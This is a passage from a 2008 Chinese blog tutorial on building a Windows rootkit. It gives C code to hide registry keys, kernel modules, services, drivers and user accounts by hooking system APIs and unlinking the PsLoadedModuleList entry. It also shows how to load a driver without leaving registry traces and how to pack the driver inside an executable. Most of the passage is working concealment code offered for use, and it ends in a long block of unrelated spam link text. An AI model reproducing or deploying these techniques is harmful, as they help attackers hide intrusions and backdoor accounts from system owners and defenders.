IN HANDLE KeyHandle,
......)
{
......
static HANDLE RegHandle=NULL;
static LONG RegIndex=0;

if (RegHandle==KeyHandle) //同一句柄
Index+=RegIndex; //加上隱藏的注冊表鍵個數(shù)
else
{
RegIndex=0; //否則重新賦值為0
RegHandle=NULL;
}

//請求原函數(shù)
ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);

if (NT_SUCCESS(ntStatus))
{
//指向注冊表鍵緩沖區(qū)
lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);
RtlInitUnicodeString(&RegsNameWide,lpKeyBasic->Name);
RtlUnicodeStringToAnsiString(&RegsNameAnsi,&RegsNameWide,TRUE);

if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,
(lpKeyBasic->NameLength / 2))==0)
{
RegHandle=KeyHandle; //取句柄值
RegIndex++; //隱藏個數(shù)
Index++; //索引加1

//再次請求 跳過隱藏的注冊表鍵
ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);
}
}

……
return ntStatus;
}

使用這種方法隱藏注冊表鍵/鍵值,發(fā)現(xiàn)有時不同子鍵的KeyHandle值也是相同的,這就造成了多隱藏數(shù)據(jù)。解決的辦法是HOOK了ZwOpenKey函數(shù),使用ZwOpenKey函數(shù)的KeyHandle枚舉鍵/鍵值(使用ZwEnumerateKey和ZwEnumerateValueKey函數(shù)),并記錄下需要隱藏的索引,然后在ZwEnumerateKey或ZwEnumerateValueKey函數(shù)中Index參數(shù)進行比較,如果相等,就隱藏了(索引+1即可),這樣上面的問題就可以解決了。如果想要做的更隱蔽,像ZwQueryKey、ZwDeleteKey等函數(shù)都需要HOOK,我這里只是演示程序,沒寫這么詳細,這些內(nèi)容就留給各位讀者自己實踐了(嘿嘿,這叫偷懶)。


八、隱藏內(nèi)核模塊


所謂內(nèi)核模塊,就是內(nèi)核加載的驅(qū)動信息,DDK中的Drivers.exe可以枚舉出系統(tǒng)的內(nèi)核模塊列表,它最終調(diào)用的是ZwQuerySystemInformation函數(shù),信息類為11,表示獲取系統(tǒng)的內(nèi)核模塊。如果要隱藏某個內(nèi)核模塊,就像上邊介紹隱藏系統(tǒng)句柄一樣,memcpy移動緩沖區(qū),所以這里介紹另一種隱藏方法:從PsLoadedModuleList鏈上摘除內(nèi)核模塊。PsLoadedModuleList是系統(tǒng)中一個未公開的內(nèi)核變量(LIST_ENTRY鏈表),保存著系統(tǒng)的內(nèi)核模塊。使用這種方法隱藏的關(guān)鍵是找到PsLoadedModuleList的地址,好在前人已經(jīng)給出了方法,用驅(qū)動程序?qū)ο?14h即可定位PsLoadedModuleList。我們首先需要定義一個結(jié)構(gòu)(這個結(jié)構(gòu)雖然不是完整的,但我可以保證它正常工作)。GetPsLoadedModuleList函數(shù)查找PsLoadedModuleList的地址,HideAmlName函數(shù)隱藏內(nèi)核模塊,代碼如下:

typedef struct moduleentry
{
LIST_ENTRY ListEntry;
DWORD Unknown[4];
DWORD Base;
DWORD DriverStart;
DWORD Unknown1;
UNICODE_STRING DriverPath;
UNICODE_STRING DriverName;
}MODULE_ENTRY,*LPMODULE_ENTRY;

DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
......
if (DriverObject)
{
//驅(qū)動程序?qū)ο?14h處是PsLoadedModuleList地址
if ((lpModuleEntry=*((LPMODULE_ENTRY *)
((DWORD)DriverObject+0x14)))==NULL)
{
//錯誤處理
}
}

return (DWORD)lpModuleEntry; //返回PsLoadedModuleList地址
}

NTSTATUS HideAmlName (TCHAR *HideModule)
{
if (ModuleEntry)
CurrentModuleEntry=ModuleEntry;
else
return STATUS_UNSUCCESSFUL;
//這是雙向鏈表
while ((LPMODULE_ENTRY)CurrentModuleEntry->ListEntry.Flink!=ModuleEntry)
{
if ((CurrentModuleEntry->Unknown1!=0) &&
(CurrentModuleEntry->DriverPath.Length!=0))
{
RtlUnicodeStringToAnsiString(&DriverNameAnsi,
&CurrentModuleEntry->DriverName,TRUE);

if (_strnicmp(HideModule,DriverNameAnsi.Buffer,
strlen(DriverNameAnsi.Buffer))==0)
{
*((DWORD *)CurrentModuleEntry->ListEntry.Blink)=
(DWORD)CurrentModuleEntry->ListEntry.Flink;
CurrentModuleEntry->ListEntry.Flink->Blink=
CurrentModuleEntry->ListEntry.Blink;
break;
}
}
//向下移動
CurrentModuleEntry=(LPMODULE_ENTRY)
CurrentModuleEntry->ListEntry.Flink;
}

return STATUS_SUCCESS;
}

從PsLoadedModuleList鏈上摘除內(nèi)核模塊后,ZwQuerySystemInformation函數(shù)就無法枚舉出它了。


九、用戶態(tài)HOOK


用戶態(tài)的HOOK有很多方法,比如修改函數(shù)的前5個字節(jié),修改輸入表等,這里采用eyas大哥的方法COPY DLL,主要是這種方法效率不錯。HOOK新進程采用消息鉤子,所以需要編寫成DLL。

HOOK的步驟首先將需要HOOK的DLL加載到當前進程的地址空間中,然后使用PSAPI中的GetModuleInformation函數(shù)獲取DLL信息,目的是得到DLL的加載地址。

BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)
{
//取得摸快句炳
if ((lpHookDllInfo->hModule=LoadLibrary(Name))==NULL)
{
//錯誤處理
}

//獲取摸快信息
if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo->hModule,
&lpHookDllInfo->ModuleInfo,sizeof(MODULEINFO)))
{
//錯誤處理
}

if ((lpHookDllInfo->NewBase=malloc
(lpHookDllInfo->ModuleInfo.SizeOfImage))==NULL)
{
//錯誤處理
}

//取得摸快地址
memcpy(lpHookDllInfo->NewBase,lpHookDllInfo->ModuleInfo.lpBaseOfDll,
lpHookDllInfo->ModuleInfo.SizeOfImage);
return TRUE;
}

DLLINFO是一個自定義結(jié)構(gòu),保存著模塊的句柄、地址等。DLL加載后,模塊信息也有了,下面使用GetProcAddress函數(shù)取HOOK函數(shù)地址,VirtualQuery函數(shù)獲取虛擬內(nèi)存信息,VirtualProtect函數(shù)改變頁面屬性,最后修改原函數(shù)的地址(GetProcAddress函數(shù)的返回值)使其指向我們的代碼。

BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)
{
//取得需要HOOK函數(shù)的地址
if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo->hModule,Name))==NULL)
{
//錯誤處理
}

//獲取虛擬內(nèi)存信息
if (!VirtualQuery((LPVOID)OrigFunc,&mbi,
sizeof(MEMORY_BASIC_INFORMATION)))
{
//錯誤處理
}

//改變頁面屬性為讀,寫,執(zhí)行
if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,
PAGE_EXECUTE_READWRITE,&Protect))
{
//錯誤處理
}

//HOOK
JmpCode.mov_eax=(BYTE)0xB8;
JmpCode.address=(LPVOID)OldFunc;
JmpCode.jmp_eax=(WORD)0xE0FF;

//計算原函數(shù)地址
*NewFunc=OrigFunc - (DWORD)lpHookDllInfo->ModuleInfo.lpBaseOfDll
+ (DWORD)lpHookDllInfo->NewBase;
//修改原函數(shù)地址,指向OldFunc
memcpy((LPVOID)OrigFunc,(UCHAR *)&JmpCode,sizeof(ASMJUMP));
return TRUE;
}

JmpCode是HOOK結(jié)構(gòu),保存著我們的函數(shù)的地址和JMP的跳轉(zhuǎn)地址。有了上面這2個函數(shù),就可以HOOK任何DLL中的函數(shù)了,例如枚舉用戶使用的是NetUserEnum函數(shù),封裝在Netapi32.dll中,HOOK例子如下:

DWORD WINAPI HookMain (LPVOID lpNot)
{
if (!(InitHookDll("netapi32.dll",&Netapi32)))
{
//錯誤處理
}

if (!(HookUserApi(&Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,
&NewNetUserEnum)))
{
//錯誤處理
}

......
}

HookMain函數(shù)需要在DllMain中調(diào)用,因為消息鉤子加載DLL后,就應(yīng)該立刻進行API HOOK。Netapi32是DLLINFO結(jié)構(gòu),保存著Netapi32.dll的信息;HookNetUserEnum是我們的函數(shù),NewNetUserEnum是原函數(shù)地址。現(xiàn)在只差消息鉤子函數(shù)了,安裝/卸載消息鉤子的函數(shù)需要引出,消息鉤子的類型是WH_GETMESSAGE,鉤子回調(diào)函數(shù)什么都不做,只是向下傳遞,因為我們的目的是使新進程加載DLL。

LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)
{
//向下傳遞
return CallNextHookEx(hHook,nCode,wParam,lParam);
}

extern "C" __declspec(dllexport) BOOL InstallHook()
{
//安裝鉤子
if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,
hInst,0))==NULL)
{
//錯誤處理
}
return TRUE;
}

extern "C" __declspec(dllexport) BOOL UninstallHook()
{
//卸載鉤子
return UnhookWindowsHookEx(hHook);
}

hInst是在DllMain函數(shù)中保存的句柄,這是必須的,否則鉤子不會安裝成功。用戶態(tài)的HOOK有很多種方法,用哪個隨便你了,只要能HOOK API就行!下面介紹隱藏服務(wù)/驅(qū)動。


十、隱藏服務(wù)/驅(qū)動


枚舉服務(wù)使用的是Advapi32.dll中的5個函數(shù),這5個函數(shù)在每個Windows系統(tǒng)中的聯(lián)系都不一樣,所以需要HOOK所有函數(shù)。

EnumServicesStatusA()
EnumServicesStatusW()
EnumServicesStatusExA()
EnumServicesStatusExW()
EnumServiceGroupW()

這5個函數(shù)中,前4個是公開的,在MSDN中均有敘述,只有最后一個是MS沒有公開的,而且只有Unicode版的函數(shù)。它的參數(shù)和其他4個函數(shù)基本一樣,返回的結(jié)構(gòu)是LPENUM_SERVICE_STATUS,這個結(jié)構(gòu)也是EnumServicesStatus函數(shù)所返回的。5個函數(shù)中都有一個dwServiceType參數(shù),表示服務(wù)類型,SERVICE_WIN32表示標準Win32服務(wù),SERVICE_DRIVER表示設(shè)備驅(qū)動。lpServicesReturned為返回服務(wù)總數(shù),隱藏的方法還是memcpy移動緩沖區(qū)。我們以EnumServiceGroupW函數(shù)為例,來看一下代碼。

BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,……)
{
......
__asm
{
//參數(shù)入棧,注意順序,要遵循__stdcall調(diào)用約定
push dwUnknown
push lpResumeHandle
push lpServicesReturned
push pcbBytesNeeded
push cbBufSize
push lpServices
push dwServiceState
push dwServiceType
push hSCManager
mov eax,NewEnumServiceGroupW //原函數(shù)地址放入EAX
call eax //請求
mov sRet,eax //返回值
}

if (sRet)
{
//處理服務(wù)和驅(qū)動
if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)
{
//指向服務(wù)列表緩沖區(qū)
lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;
for (DWORD n=0; n<*lpServicesReturned; n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,
strlen(ServiceNameAnsi))==0)
{
//向前移動服務(wù)列表緩沖區(qū)
memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),
((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));
(*lpServicesReturned)--; //總數(shù)要-1
n--;
}
}
}
}

return sRet;
}

上邊的代碼應(yīng)該很容易理解了,我們隱藏服務(wù)/驅(qū)動,只需要判斷服務(wù)名,所以dwServiceType就一塊處理了,不必分開。另外請求原函數(shù)要遵循__stdcall調(diào)用約定,參數(shù)從右向左順序入棧,最后將原函數(shù)地址放入EAX中CALL即可。


十一、隱藏用戶


枚舉用戶有3種方法,其一是使用Netapi32.dll中的函數(shù),另一個就是枚舉注冊表的SAM鍵了。隱藏注冊表前邊已經(jīng)說過了,這里說一下Netapi32.dll導(dǎo)出的3個函數(shù):

NetUserEnum()
NetGroupGetUsers()
NetQueryDisplayInformation()

第一個函數(shù)是枚舉用戶;第二個函數(shù)是獲取組內(nèi)的用戶,但根據(jù)MSDN的描述,這個函數(shù)只適用于域控制器;第三個函數(shù)可以枚舉用戶、組和計算機。NetUserEnum函數(shù)支持8種枚舉類型,每種類型返回的結(jié)構(gòu)有些不同(其實只是結(jié)構(gòu)成員的名字不同),需要分別處理,另外2個函數(shù)也有多種類型,但只有一種是枚舉用戶的,HOOK這個類型就可以了。3個函數(shù)的隱藏方法都是memcpy移動緩沖區(qū),這里以NetUserEnum函數(shù)、枚舉類型為0進行介紹,其他2個函數(shù)和它是一樣的,只是結(jié)構(gòu)體不同。

NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,……)
{
......
__asm
{
push resume_handle
push totalentries
push entriesread
push prefmaxlen
push bufptr
push filter
push level
push servername
mov eax,NewNetUserEnum
call eax
mov nStatus,eax
}

if ((nStatus==NERR_Success) && (bufptr!=NULL))
{
if (level==0) //處理枚舉類型為0
{
//注意bufptr是2級指針
LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);
if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))
{
for (DWORD n=0;n<*entriesread;n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,
strlen(UserNameAnsi))==0)
{
//向前移動用戶列表緩沖區(qū)
memcpy((lpUserInfo+n),(lpUserInfo+n+1),
((*entriesread)-n-1) * sizeof (USER_INFO_0));
(*entriesread)--; //總數(shù)--
n--;
}
}
}
}

......
}

return nStatus;
}

Level表示枚舉類型,MSDN中有詳細的定義。這3個函數(shù)都是Unicode版本,沒有ANSI。


十二、驅(qū)動的加載與整合


加載驅(qū)動一般都是使用Servcie API,但Servcie API創(chuàng)建的服務(wù)會在注冊表留下痕跡,這不是我們想要的,應(yīng)該使用一種更好的方法。Native API有2個函數(shù),可以實現(xiàn)驅(qū)動的動態(tài)加/卸載,不用寫注冊表,它們是ZwLoadDriver和ZwUnloadDriver函數(shù)。使用這2個函數(shù)加/卸載驅(qū)動,也需要寫一下注冊表,不過只是配合這2個函數(shù),待驅(qū)動加/卸載完成后,就可以刪除建立的注冊表項,也就是說,我們建立的注冊表項最多停留幾秒。需要建立的注冊表項就是一些服務(wù)的鍵值,比如Type(服務(wù)類型),Start(啟動類型),ImagePath(驅(qū)動路徑)等,完整的代碼在DevelopmentSetRegistry函數(shù)中,就不帖出來了,只帖出動態(tài)加/卸載的函數(shù)代碼。注:動態(tài)加/卸載驅(qū)動時,已經(jīng)完成了設(shè)置注冊表,動態(tài)加/卸載驅(qū)動后,還要刪除注冊表項,切記。

BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)
{
......
//加載ntdll.dll
if ((hModule=LoadLibrary("ntdll.dll"))==NULL)
{
//錯誤處理
}

//取得若干函數(shù)的地址
ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");
ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");
RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress
(hModule,"RtlInitUnicodeString");
RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress
(hModule,"RtlNtStatusToDosError");

swprintf(RegDriver,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s",
DriverName);
RtlInitUnicodeString(&ModuleNameWide,RegDriver);

if (LoadBelong) //TRUE 加載
{
//加載驅(qū)動
ntStatus=ZwLoadDriver(&ModuleNameWide);
......
}

if (!LoadBelong) //FALSE卸載
{
//卸載驅(qū)動
ntStatus=ZwUnloadDriver(&ModuleNameWide);
......
}

return TRUE;
}

我們需要使用一個EXE來操作SYS,這樣帶著2個文件滿處跑肯定不方便,所以有必要將其整合。整合的方法有很多,比如放在EXE結(jié)尾、將SYS轉(zhuǎn)化為16進制代碼,或者做成資源文件。相比之下,做成資源文件比較簡單,也不會給EXE增加太多的體積,運行時一釋放就OK了。釋放資源需要一系列資源函數(shù),最后使用fwrite將文件寫入硬盤。我寫了一個ReleaseResource函數(shù),用于實現(xiàn)這個功能。

BOOL ReleaseResource (TCHAR *DriverPath)
{
......
//查找資源 SYS是資源名 SYSRES是資源類名
if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)
{
//錯誤處理
}

//加載資源
if ((hLoad=LoadResource(NULL,hFind))==NULL)
{
//錯誤處理
}

//取得資源大小
if ((Size=SizeofResource(NULL,hFind))==0)
{
//錯誤處理
}

//取得釋放地址
if ((LockAddr=LockResource(hLoad))==NULL)
{
//錯誤處理
}

//打開文件
if ((fp=fopen(DriverPath,"wb"))==NULL)
{
//錯誤處理
}

//寫入
fwrite(LockAddr,1,Size,fp);
......
}

有了這個函數(shù),就可以只帶著EXE滿世界跑了。
文章寫了這么長,是時候結(jié)束了,從上面的講解中不難看出,我們只要對Windows內(nèi)核有一點了解,就可以開發(fā)一個簡單的Rootkit,光盤中包含了本文完整的源代碼,如對本文有任何問題,歡迎發(fā)郵件給我dahubaobao@eviloctal.com

十三、附錄下載

FileInfo(枚舉文件目錄結(jié)構(gòu))
包含隱藏服務(wù)/驅(qū)動、用戶以及用戶態(tài)HOOK的DLL程序
包含隱藏進程、文件/目錄、端口、注冊表和內(nèi)核模塊的SYS以及加載程序
posted on 2008-06-10 21:55 saga.constantine 閱讀(2145) 評論(0)  編輯 收藏 引用

只有注冊用戶登錄后才能發(fā)表評論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            免费视频一区| 美女视频一区免费观看| 国产精品理论片在线观看| 国产精品99久久99久久久二8| 亚洲欧美日韩国产精品| 国产伦精品一区二区三区视频黑人 | 欧美一区二区成人6969| 蜜臀av一级做a爰片久久| 亚洲人成网站在线观看播放| 欧美日韩国产一区二区| 亚洲欧美日韩高清| 欧美福利视频网站| 亚洲午夜精品视频| 一区免费视频| 欧美日韩综合视频| 久久久www成人免费精品| 亚洲国产日韩欧美在线动漫| 亚洲欧美日本精品| 亚洲国产精品日韩| 国产精品免费福利| 男人的天堂亚洲在线| 国产精品99久久久久久宅男| 蜜臀va亚洲va欧美va天堂| 一本色道久久综合| 国产亚洲精品一区二区| 欧美精品v日韩精品v国产精品| 亚洲欧美在线x视频| 亚洲国产精品va| 久久精品国产一区二区电影| 99日韩精品| 在线观看日韩欧美| 国产精品捆绑调教| 欧美精品在线一区二区| 久久久av毛片精品| 亚洲一区二区在线视频| 亚洲人成人一区二区三区| 久久久久一本一区二区青青蜜月| 99视频一区二区三区| 黄色成人免费观看| 国产麻豆日韩欧美久久| 欧美剧在线免费观看网站| 久久久久www| 亚洲欧美三级在线| 夜夜嗨av一区二区三区四区| 欧美高清视频www夜色资源网| 久久精品网址| 午夜精品影院| 亚洲午夜精品久久久久久浪潮| 91久久精品美女高潮| 狠狠干综合网| 国产亚洲精品福利| 国产模特精品视频久久久久 | 欧美日韩日本网| 男女激情视频一区| 久久综合狠狠综合久久激情| 欧美伊久线香蕉线新在线| 亚洲视频国产视频| 一本不卡影院| 一二三四社区欧美黄| 亚洲美女诱惑| 日韩视频免费在线| 亚洲国产视频a| 亚洲国产成人在线视频| 欧美激情亚洲自拍| 亚洲二区在线| 亚洲激情在线激情| 亚洲免费观看高清完整版在线观看熊 | 这里只有精品丝袜| 亚洲免费观看在线视频| 亚洲毛片一区| 一区二区三区 在线观看视| 99日韩精品| 亚洲视频免费| 午夜精品久久| 久久精品三级| 欧美va亚洲va香蕉在线| 欧美激情一区| 国产精品草莓在线免费观看| 国产精品视频九色porn| 国产日产精品一区二区三区四区的观看方式 | 国产伪娘ts一区| 国内精品国产成人| 亚洲国产精品一区二区www在线 | 久久九九免费视频| 久久资源在线| 欧美精品一级| 国产精品久久久一区二区三区| 国产精品人人爽人人做我的可爱| 国产欧美日本| 亚洲大胆美女视频| 日韩一级黄色av| 亚洲欧美另类国产| 久久久久久久久久码影片| 免费人成网站在线观看欧美高清| 亚洲高清av在线| 一区二区久久| 久久精品人人做人人综合| 欧美成人一区二区| 国产精品久久久久影院色老大 | 久久婷婷色综合| 亚洲高清一区二区三区| 一区二区欧美国产| 久久久激情视频| 欧美日韩精品免费| 国内精品久久久久久久果冻传媒 | 一区二区三区国产在线| 欧美一区二区| 欧美日韩大片| 国产综合网站| 亚洲视频自拍偷拍| 久久免费高清| 亚洲最新合集| 久久综合导航| 国产精品专区h在线观看| 亚洲高清视频在线观看| 亚洲综合首页| 欧美国产日韩xxxxx| 亚洲一区欧美二区| 欧美成人黑人xx视频免费观看| 国产精品乱码人人做人人爱| 亚洲国产黄色| 久久精品国产亚洲一区二区三区| 亚洲欧洲日韩女同| 久久久久国产精品一区| 国产精品人人做人人爽 | 久久精品一区二区三区四区| 亚洲欧洲综合| 久久久久久久久久久久久女国产乱 | 国内精品免费在线观看| 亚洲色图在线视频| 欧美电影资源| 久久国产精品亚洲va麻豆| 欧美日韩在线视频首页| 亚洲国内自拍| 狼人天天伊人久久| 亚洲欧美日韩综合一区| 国产精品成人一区| 99这里只有精品| 欧美国产三区| 久久尤物电影视频在线观看| 国产亚洲精品久| 欧美主播一区二区三区美女 久久精品人 | 一二美女精品欧洲| 欧美高清视频一区二区| 久久精品国产第一区二区三区| 国产精品免费电影| 亚洲免费影视| 99精品国产一区二区青青牛奶| 欧美顶级大胆免费视频| 在线看无码的免费网站| 巨胸喷奶水www久久久免费动漫| 欧美一区二区视频在线观看2020| 国产精品嫩草影院av蜜臀| 亚洲一区www| 在线中文字幕不卡| 国产精品www网站| 亚洲一区二区四区| 99在线精品视频在线观看| 欧美日韩精品一本二本三本| 亚洲免费黄色| 亚洲人成在线影院| 欧美日韩国产一区精品一区| 妖精视频成人观看www| 亚洲高清在线观看一区| 欧美.www| 一本色道久久88精品综合| 亚洲美女在线视频| 国产精品大片wwwwww| 午夜精品视频在线观看一区二区 | 亚洲成色最大综合在线| 欧美岛国在线观看| 欧美黄色网络| 亚洲永久免费| 欧美一级片久久久久久久| 好吊妞这里只有精品| 欧美成人有码| 欧美日韩成人一区| 亚洲欧美日韩一区二区三区在线观看 | 久久精彩免费视频| 亚洲国产成人av| 亚洲精品九九| 国产精品揄拍一区二区| 另类av导航| 欧美精品福利在线| 香蕉久久久久久久av网站| 久久精品一区四区| 日韩手机在线导航| 亚洲宅男天堂在线观看无病毒| 国产亚洲精品一区二555| 女仆av观看一区| 欧美日韩一区二区三区高清| 久久aⅴ国产欧美74aaa| 久久久人人人| 亚洲视频在线看| 欧美专区在线| 夜久久久久久| 久久国产欧美日韩精品| 亚洲精品乱码久久久久久按摩观| 9人人澡人人爽人人精品| 国产欧美一区二区三区久久 |